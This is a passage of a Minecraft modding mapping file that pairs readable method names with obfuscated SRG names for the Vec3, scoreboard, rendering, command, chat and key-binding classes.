(Lnet/minecraft/util/Vec3;D)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/subtract (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_178788_d (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/add (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_178787_e (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/distanceTo (Lnet/minecraft/util/Vec3;)D net/minecraft/util/Vec3/func_72438_d (Lnet/minecraft/util/Vec3;)D +MD: net/minecraft/util/Vec3/squareDistanceTo (Lnet/minecraft/util/Vec3;)D net/minecraft/util/Vec3/func_72436_e (Lnet/minecraft/util/Vec3;)D +MD: net/minecraft/util/Vec3/toString ()Ljava/lang/String; net/minecraft/util/Vec3/toString ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScoreObjective/getScoreboard ()Lnet/minecraft/scoreboard/Scoreboard; net/minecraft/scoreboard/ScoreObjective/func_96682_a ()Lnet/minecraft/scoreboard/Scoreboard; +MD: net/minecraft/scoreboard/ScoreObjective/setRenderType (Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType;)V net/minecraft/scoreboard/ScoreObjective/func_178767_a (Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType;)V +MD: net/minecraft/scoreboard/ScoreObjective/setDisplayName (Ljava/lang/String;)V net/minecraft/scoreboard/ScoreObjective/func_96681_a (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/ScoreObjective/getName ()Ljava/lang/String; net/minecraft/scoreboard/ScoreObjective/func_96679_b ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScoreObjective/getCriteria ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria; net/minecraft/scoreboard/ScoreObjective/func_96680_c ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria; +MD: net/minecraft/scoreboard/ScoreObjective/getDisplayName ()Ljava/lang/String; net/minecraft/scoreboard/ScoreObjective/func_96678_d ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScoreObjective/getRenderType ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/ScoreObjective/func_178766_e ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/scoreboard/ScorePlayerTeam/func_98298_a (I)V net/minecraft/scoreboard/ScorePlayerTeam/func_98298_a (I)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/setChatFormat (Lnet/minecraft/util/EnumChatFormatting;)V net/minecraft/scoreboard/ScorePlayerTeam/func_178774_a (Lnet/minecraft/util/EnumChatFormatting;)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/setNameTagVisibility (Lnet/minecraft/scoreboard/Team$EnumVisible;)V net/minecraft/scoreboard/ScorePlayerTeam/func_178772_a (Lnet/minecraft/scoreboard/Team$EnumVisible;)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/formatPlayerName (Lnet/minecraft/scoreboard/Team;Ljava/lang/String;)Ljava/lang/String; net/minecraft/scoreboard/ScorePlayerTeam/func_96667_a (Lnet/minecraft/scoreboard/Team;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/scoreboard/ScorePlayerTeam/setTeamName (Ljava/lang/String;)V net/minecraft/scoreboard/ScorePlayerTeam/func_96664_a (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/setAllowFriendlyFire (Z)V net/minecraft/scoreboard/ScorePlayerTeam/func_96660_a (Z)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/getRegisteredName ()Ljava/lang/String; net/minecraft/scoreboard/ScorePlayerTeam/func_96661_b ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScorePlayerTeam/setDeathMessageVisibility (Lnet/minecraft/scoreboard/Team$EnumVisible;)V net/minecraft/scoreboard/ScorePlayerTeam/func_178773_b (Lnet/minecraft/scoreboard/Team$EnumVisible;)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/setNamePrefix (Ljava/lang/String;)V net/minecraft/scoreboard/ScorePlayerTeam/func_96666_b (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/setSeeFriendlyInvisiblesEnabled (Z)V net/minecraft/scoreboard/ScorePlayerTeam/func_98300_b (Z)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/getTeamName ()Ljava/lang/String; net/minecraft/scoreboard/ScorePlayerTeam/func_96669_c ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScorePlayerTeam/setNameSuffix (Ljava/lang/String;)V net/minecraft/scoreboard/ScorePlayerTeam/func_96662_c (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/ScorePlayerTeam/getMembershipCollection ()Ljava/util/Collection; net/minecraft/scoreboard/ScorePlayerTeam/func_96670_d ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/ScorePlayerTeam/formatString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/scoreboard/ScorePlayerTeam/func_142053_d (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/scoreboard/ScorePlayerTeam/getColorPrefix ()Ljava/lang/String; net/minecraft/scoreboard/ScorePlayerTeam/func_96668_e ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScorePlayerTeam/getColorSuffix ()Ljava/lang/String; net/minecraft/scoreboard/ScorePlayerTeam/func_96663_f ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScorePlayerTeam/getAllowFriendlyFire ()Z net/minecraft/scoreboard/ScorePlayerTeam/func_96665_g ()Z +MD: net/minecraft/scoreboard/ScorePlayerTeam/getSeeFriendlyInvisiblesEnabled ()Z net/minecraft/scoreboard/ScorePlayerTeam/func_98297_h ()Z +MD: net/minecraft/scoreboard/ScorePlayerTeam/getNameTagVisibility ()Lnet/minecraft/scoreboard/Team$EnumVisible; net/minecraft/scoreboard/ScorePlayerTeam/func_178770_i ()Lnet/minecraft/scoreboard/Team$EnumVisible; +MD: net/minecraft/scoreboard/ScorePlayerTeam/getDeathMessageVisibility ()Lnet/minecraft/scoreboard/Team$EnumVisible; net/minecraft/scoreboard/ScorePlayerTeam/func_178771_j ()Lnet/minecraft/scoreboard/Team$EnumVisible; +MD: net/minecraft/scoreboard/ScorePlayerTeam/func_98299_i ()I net/minecraft/scoreboard/ScorePlayerTeam/func_98299_i ()I +MD: net/minecraft/scoreboard/ScorePlayerTeam/getChatFormat ()Lnet/minecraft/util/EnumChatFormatting; net/minecraft/scoreboard/ScorePlayerTeam/func_178775_l ()Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/scoreboard/Score$1/compare (Lnet/minecraft/scoreboard/Score;Lnet/minecraft/scoreboard/Score;)I net/minecraft/scoreboard/Score$1/compare (Lnet/minecraft/scoreboard/Score;Lnet/minecraft/scoreboard/Score;)I +MD: net/minecraft/scoreboard/Score$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/scoreboard/Score$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/scoreboard/Score/func_96648_a ()V net/minecraft/scoreboard/Score/func_96648_a ()V +MD: net/minecraft/scoreboard/Score/increseScore (I)V net/minecraft/scoreboard/Score/func_96649_a (I)V +MD: net/minecraft/scoreboard/Score/func_96651_a (Ljava/util/List;)V net/minecraft/scoreboard/Score/func_96651_a (Ljava/util/List;)V +MD: net/minecraft/scoreboard/Score/setLocked (Z)V net/minecraft/scoreboard/Score/func_178815_a (Z)V +MD: net/minecraft/scoreboard/Score/decreaseScore (I)V net/minecraft/scoreboard/Score/func_96646_b (I)V +MD: net/minecraft/scoreboard/Score/getScorePoints ()I net/minecraft/scoreboard/Score/func_96652_c ()I +MD: net/minecraft/scoreboard/Score/setScorePoints (I)V net/minecraft/scoreboard/Score/func_96647_c (I)V +MD: net/minecraft/scoreboard/Score/getObjective ()Lnet/minecraft/scoreboard/ScoreObjective; net/minecraft/scoreboard/Score/func_96645_d ()Lnet/minecraft/scoreboard/ScoreObjective; +MD: net/minecraft/scoreboard/Score/getPlayerName ()Ljava/lang/String; net/minecraft/scoreboard/Score/func_96653_e ()Ljava/lang/String; +MD: net/minecraft/scoreboard/Score/getScoreScoreboard ()Lnet/minecraft/scoreboard/Scoreboard; net/minecraft/scoreboard/Score/func_96650_f ()Lnet/minecraft/scoreboard/Scoreboard; +MD: net/minecraft/scoreboard/Score/isLocked ()Z net/minecraft/scoreboard/Score/func_178816_g ()Z +MD: net/minecraft/scoreboard/Scoreboard/getObjectiveInDisplaySlot (I)Lnet/minecraft/scoreboard/ScoreObjective; net/minecraft/scoreboard/Scoreboard/func_96539_a (I)Lnet/minecraft/scoreboard/ScoreObjective; +MD: net/minecraft/scoreboard/Scoreboard/setObjectiveInDisplaySlot (ILnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_96530_a (ILnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/Scoreboard/onScoreObjectiveAdded (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_96522_a (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/Scoreboard/broadcastTeamCreated (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/Scoreboard/func_96523_a (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/Scoreboard/func_96536_a (Lnet/minecraft/scoreboard/Score;)V net/minecraft/scoreboard/Scoreboard/func_96536_a (Lnet/minecraft/scoreboard/Score;)V +MD: net/minecraft/scoreboard/Scoreboard/getObjectivesFromCriteria (Lnet/minecraft/scoreboard/IScoreObjectiveCriteria;)Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96520_a (Lnet/minecraft/scoreboard/IScoreObjectiveCriteria;)Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/func_96516_a (Ljava/lang/String;)V net/minecraft/scoreboard/Scoreboard/func_96516_a (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/Scoreboard/func_178820_a (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_178820_a (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/Scoreboard/removePlayerFromTeam (Ljava/lang/String;Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/Scoreboard/func_96512_b (Ljava/lang/String;Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/Scoreboard/addScoreObjective (Ljava/lang/String;Lnet/minecraft/scoreboard/IScoreObjectiveCriteria;)Lnet/minecraft/scoreboard/ScoreObjective; net/minecraft/scoreboard/Scoreboard/func_96535_a (Ljava/lang/String;Lnet/minecraft/scoreboard/IScoreObjectiveCriteria;)Lnet/minecraft/scoreboard/ScoreObjective; +MD: net/minecraft/scoreboard/Scoreboard/addPlayerToTeam (Ljava/lang/String;Ljava/lang/String;)Z net/minecraft/scoreboard/Scoreboard/func_151392_a (Ljava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/scoreboard/Scoreboard/func_181140_a (Lnet/minecraft/entity/Entity;)V net/minecraft/scoreboard/Scoreboard/func_181140_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/scoreboard/Scoreboard/getObjectiveDisplaySlot (I)Ljava/lang/String; net/minecraft/scoreboard/Scoreboard/func_96517_b (I)Ljava/lang/String; +MD: net/minecraft/scoreboard/Scoreboard/onObjectiveDisplayNameChanged (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_96532_b (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/Scoreboard/sendTeamUpdate (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/Scoreboard/func_96538_b (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/Scoreboard/getObjective (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScoreObjective; net/minecraft/scoreboard/Scoreboard/func_96518_b (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScoreObjective; +MD: net/minecraft/scoreboard/Scoreboard/entityHasObjective (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)Z net/minecraft/scoreboard/Scoreboard/func_178819_b (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)Z +MD: net/minecraft/scoreboard/Scoreboard/getScoreObjectives ()Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96514_c ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/onScoreObjectiveRemoved (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_96533_c (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/Scoreboard/func_96513_c (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/Scoreboard/func_96513_c (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/Scoreboard/getObjectivesForEntity (Ljava/lang/String;)Ljava/util/Map; net/minecraft/scoreboard/Scoreboard/func_96510_d (Ljava/lang/String;)Ljava/util/Map; +MD: net/minecraft/scoreboard/Scoreboard/getValueFromObjective (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)Lnet/minecraft/scoreboard/Score; net/minecraft/scoreboard/Scoreboard/func_96529_a (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)Lnet/minecraft/scoreboard/Score; +MD: net/minecraft/scoreboard/Scoreboard/getObjectiveNames ()Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96526_d ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/removeTeam (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/Scoreboard/func_96511_d (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/Scoreboard/getTeam (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; net/minecraft/scoreboard/Scoreboard/func_96508_e (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; +MD: net/minecraft/scoreboard/Scoreboard/removeObjectiveFromEntity (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_178822_d (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/Scoreboard/getScores ()Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96528_e ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/createTeam (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; net/minecraft/scoreboard/Scoreboard/func_96527_f (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; +MD: net/minecraft/scoreboard/Scoreboard/getTeamNames ()Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96531_f ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/removePlayerFromTeams (Ljava/lang/String;)Z net/minecraft/scoreboard/Scoreboard/func_96524_g (Ljava/lang/String;)Z +MD: net/minecraft/scoreboard/Scoreboard/getTeams ()Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96525_g ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/getDisplaySlotStrings ()[Ljava/lang/String; net/minecraft/scoreboard/Scoreboard/func_178821_h ()[Ljava/lang/String; +MD: net/minecraft/scoreboard/Scoreboard/getPlayersTeam (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; net/minecraft/scoreboard/Scoreboard/func_96509_i (Ljava/lang/String;)Lnet/minecraft/scoreboard/ScorePlayerTeam; +MD: net/minecraft/scoreboard/Scoreboard/getSortedScores (Lnet/minecraft/scoreboard/ScoreObjective;)Ljava/util/Collection; net/minecraft/scoreboard/Scoreboard/func_96534_i (Lnet/minecraft/scoreboard/ScoreObjective;)Ljava/util/Collection; +MD: net/minecraft/scoreboard/Scoreboard/getObjectiveDisplaySlotNumber (Ljava/lang/String;)I net/minecraft/scoreboard/Scoreboard/func_96537_j (Ljava/lang/String;)I +MD: net/minecraft/scoreboard/Scoreboard/removeObjective (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/Scoreboard/func_96519_k (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/func_96496_a ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/scoreboard/ScoreboardSaveData/func_96496_a ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/scoreboard/ScoreboardSaveData/func_96502_a (Lnet/minecraft/scoreboard/ScorePlayerTeam;Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96502_a (Lnet/minecraft/scoreboard/ScorePlayerTeam;Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/setScoreboard (Lnet/minecraft/scoreboard/Scoreboard;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96499_a (Lnet/minecraft/scoreboard/Scoreboard;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/scoreboard/ScoreboardSaveData/func_76184_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/readTeams (Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96498_a (Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/objectivesToNbt ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/scoreboard/ScoreboardSaveData/func_96505_b ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/scoreboard/ScoreboardSaveData/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/scoreboard/ScoreboardSaveData/func_76187_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/readObjectives (Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96501_b (Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/readDisplayConfig (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96504_c (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/readScores (Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96500_c (Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/func_96497_d (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/scoreboard/ScoreboardSaveData/func_96497_d (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/scoreboard/ScoreboardSaveData/scoresToNbt ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/scoreboard/ScoreboardSaveData/func_96503_e ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/scoreboard/Team$EnumVisible/func_178825_a ()[Ljava/lang/String; net/minecraft/scoreboard/Team$EnumVisible/func_178825_a ()[Ljava/lang/String; +MD: net/minecraft/scoreboard/Team$EnumVisible/func_178824_a (Ljava/lang/String;)Lnet/minecraft/scoreboard/Team$EnumVisible; net/minecraft/scoreboard/Team$EnumVisible/func_178824_a (Ljava/lang/String;)Lnet/minecraft/scoreboard/Team$EnumVisible; +MD: net/minecraft/scoreboard/Team$EnumVisible/values ()[Lnet/minecraft/scoreboard/Team$EnumVisible; net/minecraft/scoreboard/Team$EnumVisible/values ()[Lnet/minecraft/scoreboard/Team$EnumVisible; +MD: net/minecraft/scoreboard/Team/isSameTeam (Lnet/minecraft/scoreboard/Team;)Z net/minecraft/scoreboard/Team/func_142054_a (Lnet/minecraft/scoreboard/Team;)Z +MD: net/minecraft/scoreboard/Team/getRegisteredName ()Ljava/lang/String; net/minecraft/scoreboard/Team/func_96661_b ()Ljava/lang/String; +MD: net/minecraft/scoreboard/Team/getMembershipCollection ()Ljava/util/Collection; net/minecraft/scoreboard/Team/func_96670_d ()Ljava/util/Collection; +MD: net/minecraft/scoreboard/Team/formatString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/scoreboard/Team/func_142053_d (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/scoreboard/Team/getAllowFriendlyFire ()Z net/minecraft/scoreboard/Team/func_96665_g ()Z +MD: net/minecraft/scoreboard/Team/getSeeFriendlyInvisiblesEnabled ()Z net/minecraft/scoreboard/Team/func_98297_h ()Z +MD: net/minecraft/scoreboard/Team/getNameTagVisibility ()Lnet/minecraft/scoreboard/Team$EnumVisible; net/minecraft/scoreboard/Team/func_178770_i ()Lnet/minecraft/scoreboard/Team$EnumVisible; +MD: net/minecraft/scoreboard/Team/getDeathMessageVisibility ()Lnet/minecraft/scoreboard/Team$EnumVisible; net/minecraft/scoreboard/Team/func_178771_j ()Lnet/minecraft/scoreboard/Team$EnumVisible; +MD: net/minecraft/scoreboard/GoalColor/getName ()Ljava/lang/String; net/minecraft/scoreboard/GoalColor/func_96636_a ()Ljava/lang/String; +MD: net/minecraft/scoreboard/GoalColor/setScore (Ljava/util/List;)I net/minecraft/scoreboard/GoalColor/func_96635_a (Ljava/util/List;)I +MD: net/minecraft/scoreboard/GoalColor/isReadOnly ()Z net/minecraft/scoreboard/GoalColor/func_96637_b ()Z +MD: net/minecraft/scoreboard/GoalColor/getRenderType ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/GoalColor/func_178790_c ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/scoreboard/ScoreDummyCriteria/getName ()Ljava/lang/String; net/minecraft/scoreboard/ScoreDummyCriteria/func_96636_a ()Ljava/lang/String; +MD: net/minecraft/scoreboard/ScoreDummyCriteria/setScore (Ljava/util/List;)I net/minecraft/scoreboard/ScoreDummyCriteria/func_96635_a (Ljava/util/List;)I +MD: net/minecraft/scoreboard/ScoreDummyCriteria/isReadOnly ()Z net/minecraft/scoreboard/ScoreDummyCriteria/func_96637_b ()Z +MD: net/minecraft/scoreboard/ScoreDummyCriteria/getRenderType ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/ScoreDummyCriteria/func_178790_c ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/scoreboard/ScoreHealthCriteria/setScore (Ljava/util/List;)I net/minecraft/scoreboard/ScoreHealthCriteria/func_96635_a (Ljava/util/List;)I +MD: net/minecraft/scoreboard/ScoreHealthCriteria/isReadOnly ()Z net/minecraft/scoreboard/ScoreHealthCriteria/func_96637_b ()Z +MD: net/minecraft/scoreboard/ScoreHealthCriteria/getRenderType ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/ScoreHealthCriteria/func_178790_c ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/func_178796_a ()Ljava/lang/String; net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/func_178796_a ()Ljava/lang/String; +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/func_178795_a (Ljava/lang/String;)Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/func_178795_a (Ljava/lang/String;)Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/values ()[Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/values ()[Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria/getName ()Ljava/lang/String; net/minecraft/scoreboard/IScoreObjectiveCriteria/func_96636_a ()Ljava/lang/String; +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria/setScore (Ljava/util/List;)I net/minecraft/scoreboard/IScoreObjectiveCriteria/func_96635_a (Ljava/util/List;)I +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria/isReadOnly ()Z net/minecraft/scoreboard/IScoreObjectiveCriteria/func_96637_b ()Z +MD: net/minecraft/scoreboard/IScoreObjectiveCriteria/getRenderType ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; net/minecraft/scoreboard/IScoreObjectiveCriteria/func_178790_c ()Lnet/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType; +MD: net/minecraft/client/renderer/ActiveRenderInfo/getPosition ()Lnet/minecraft/util/Vec3; net/minecraft/client/renderer/ActiveRenderInfo/func_178804_a ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/client/renderer/ActiveRenderInfo/getBlockAtEntityViewpoint (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;F)Lnet/minecraft/block/Block; net/minecraft/client/renderer/ActiveRenderInfo/func_180786_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;F)Lnet/minecraft/block/Block; +MD: net/minecraft/client/renderer/ActiveRenderInfo/projectViewFromEntity (Lnet/minecraft/entity/Entity;D)Lnet/minecraft/util/Vec3; net/minecraft/client/renderer/ActiveRenderInfo/func_178806_a (Lnet/minecraft/entity/Entity;D)Lnet/minecraft/util/Vec3; +MD: net/minecraft/client/renderer/ActiveRenderInfo/updateRenderInfo (Lnet/minecraft/entity/player/EntityPlayer;Z)V net/minecraft/client/renderer/ActiveRenderInfo/func_74583_a (Lnet/minecraft/entity/player/EntityPlayer;Z)V +MD: net/minecraft/client/renderer/ActiveRenderInfo/getRotationX ()F net/minecraft/client/renderer/ActiveRenderInfo/func_178808_b ()F +MD: net/minecraft/client/renderer/ActiveRenderInfo/getRotationXZ ()F net/minecraft/client/renderer/ActiveRenderInfo/func_178809_c ()F +MD: net/minecraft/client/renderer/ActiveRenderInfo/getRotationZ ()F net/minecraft/client/renderer/ActiveRenderInfo/func_178803_d ()F +MD: net/minecraft/client/renderer/ActiveRenderInfo/getRotationYZ ()F net/minecraft/client/renderer/ActiveRenderInfo/func_178805_e ()F +MD: net/minecraft/client/renderer/ActiveRenderInfo/getRotationXY ()F net/minecraft/client/renderer/ActiveRenderInfo/func_178807_f ()F +MD: net/minecraft/command/CommandPlaySound/getRequiredPermissionLevel ()I net/minecraft/command/CommandPlaySound/func_82362_a ()I +MD: net/minecraft/command/CommandPlaySound/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandPlaySound/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandPlaySound/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandPlaySound/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandPlaySound/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandPlaySound/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandPlaySound/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandPlaySound/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandPlaySound/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandPlaySound/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/gui/ChatLine/getChatComponent ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/ChatLine/func_151461_a ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/ChatLine/getUpdatedCounter ()I net/minecraft/client/gui/ChatLine/func_74540_b ()I +MD: net/minecraft/client/gui/ChatLine/getChatLineID ()I net/minecraft/client/gui/ChatLine/func_74539_c ()I +MD: net/minecraft/client/settings/KeyBinding/unPressAllKeys ()V net/minecraft/client/settings/KeyBinding/func_74506_a ()V +MD: net/minecraft/client/settings/KeyBinding/onTick (I)V net/minecraft/client/settings/KeyBinding/func_74507_a (I)V +MD: net/minecraft/client/settings/KeyBinding/setKeyBindState (IZ)V net/minecraft/client/settings/KeyBinding/func_74510_a (IZ)V +MD: net/minecraft/client/settings/KeyBinding/compareTo (Lnet/minecraft/client/settings/KeyBinding;)I net/minecraft/client/settings/KeyBinding/compareTo (Lnet/minecraft/client/settings/KeyBinding;)I +MD: net/minecraft/client/settings/KeyBinding/resetKeyBindingArrayAndHash ()V net/minecraft/client/settings/KeyBinding/func_74508_b ()V +MD: net/minecraft/client/settings/KeyBinding/setKeyCode (I)V net/minecraft/client/settings/KeyBinding/func_151462_b (I)V +MD: net/minecraft/client/settings/KeyBinding/getKeybinds ()Ljava/util/Set; 